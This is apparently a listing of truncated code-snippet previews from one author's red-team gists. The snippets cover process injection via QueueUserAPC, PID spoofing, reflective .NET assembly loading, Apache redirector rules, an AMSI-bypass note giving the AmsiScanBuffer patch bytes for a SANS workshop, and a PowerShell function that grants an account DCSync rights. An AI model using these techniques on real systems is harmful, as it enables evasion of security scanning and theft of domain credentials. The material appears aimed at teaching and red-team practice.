jfmaes

using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;

namespace DinjectorWithQUserAPC
{


    public class Program

jfmaes

using System;
using System.Runtime.InteropServices;
using System.Diagnostics;


namespace DInvoke_PIDSpoof_DevNuget
{
    class Program
    {
        static void Main(string[] args)

jfmaes

using System;
using System.Reflection;

namespace HelloFromDotNetFramework
{
 public   class Program
    {
       public static void Main(string[] args)
        {
            Console.WriteLine("Hi from {0}", Assembly.GetExecutingAssembly());

jfmaes

clear
$bytes=[System.IO.File]::ReadAllBytes("C:\Users\jeanm\source\repos\HelloFromDotNetFramework\bin\Release\HelloFromDotNetFramework.exe")
$asm = [System.Reflection.Assembly]::Load($bytes)
$params = {null}
[HelloFromDotNetFramework.Program]::Main($params)

jfmaes

using System;
using NvisoLib;
using System.Reflection;

namespace AppDomainResolveTest
{
    class Program
    {
        static void Main(string[] args)
        {

jfmaes

	# 
	# TO-DO: set |DESTINATIONURL| below to be whatever you want e.g. www.google.com. Do not include "http(s)://" as a prefix. All matching requests will be sent to that url. Thanks @Meatballs__!
	#
	# Note this version requires Apache 2.4+
	#
	# Save this file into something like /etc/apache2/redirect.rules.
	# Then in your site's apache conf file (in /etc/apache2/sites-avaiable/), put this statement somewhere near the bottom
	# 
	# Include /etc/apache2/redirect.rules
	#

jfmaes

#!/usr/bin/python
import requests
from socket import *
from requests.packages.urllib3.contrib import pyopenssl as reqs
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import argparse
import ipaddress
#import asyncio

jfmaes

Hi SANS Workshop Attendees! Reflection is super fun!

amsi.dll
AmsiScanBuffer
uFcAB4DD

jfmaes

import argparse
from ipaddress import IPv4Network
import os


def banner():
    print(r"""
                                                         c=====e
                                                            H
   ____________                                         _,,_H____

jfmaes

        function Invoke-SyncMeUp{
        [CmdletBinding()]
            Param (
            [Parameter(Mandatory=$True)]
            [string]$AccountName
            )
        $dse = [ADSI]"LDAP://Rootdse"
        $namingcontext = $dse.defaultNamingContext
        echo "Giving $AccountName DCSync rights"
        dsacls.exe $namingcontext /G $AccountName":CA;Replicating Directory Changes All" $AccountName":CA;Replicating Directory Changes"